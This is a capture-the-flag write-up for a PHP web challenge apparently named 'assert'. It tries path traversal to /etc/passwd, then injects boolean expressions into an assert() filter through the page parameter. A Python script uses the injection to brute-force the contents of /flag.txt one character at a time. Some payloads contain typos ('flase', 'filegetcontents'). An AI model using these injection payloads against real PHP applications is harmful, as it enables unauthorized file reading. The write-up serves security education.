We are given a link to webpage. It brings us to a website for a gym. There are several different pages such as About, Contact, Blog, etc.
The page is selected by setting a GET parameter in the url:
My first thought was Local File Inclusion, so I tried setting the page parameter to ../../../etc/passwd
. This did not work and I got the following response:
There must be some filter checking if the page parameter contains ..
With the name of the challenge being assert
, I decided to look into vulnerabilities related to PHP's assert
function. It seems as though index.php uses the assert function in conjuction with strpos
, or a similar function, to check if the page parameter contains the malicious characters.
I made an assumption that the PHP code looked something like this:
assert("strpos($_GET['page'], '..')===false") or die('HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE')
I tested this assumption by sending the payload:
?page=a','b')===false && strpos('
I URL encoded this payload and made a request with the page parameter set to this payload. With this payload being executed by the PHP script, the assert statement will always evaluate to true
I sent the request and I got a response with status code 200 and no message saying "HACKING ATTEMPT ... "
Just to double check my assumption, I sent a payload that would evaluate to false:
?page=a','a')===false && strpos('
and observed that I got the "HACKING ATTEMPT ..." message.
At this point I have verified that I can inject PHP boolean expressions, and if the expression evaluates to true I will get no error, and if the expression evaluate to false I will get the "HACKING ATTEMPT ..." message in the response.
I used the following payload to see if I can read from the flag.txt
file:
?page=a','b')===false && strpos(file_get_contents('/flag.txt'), 'flag{')!==flase && strpos('
This request did not return the warning message. The following payload, however, did return the warning message:
?page=a','b')===false && strpos(file_get_contents('/flag.txt'), 'flag{a')!==flase && strpos('
Next I wrote a python script to automate the checking of potential flag strings.
To summarize the script, I send continuous requests with my payload, where I check against a different substring's existence in flag.txt
. If I get a response with no warning message, I know that my substring exists in flag.txt, and this way I can build out each character in the flag.
import requests
import string
session = requests.Session()
url = 'http://challenge.nahamcon.com:30735/index.php?page='
flag = 'flag{'
while '}' not in flag:
for c in string.hexdigits.lower() + '}':
payload = f"','qwer')===false+%26%26+strpos(filegetcontents('/flag.txt'),'{flag+c}')!==false+%26%26+strpos('abc"
endpoint = url + payload
r = session.get(endpoint)
if 'HACKING' not in r.text:
flag += c
print(flag)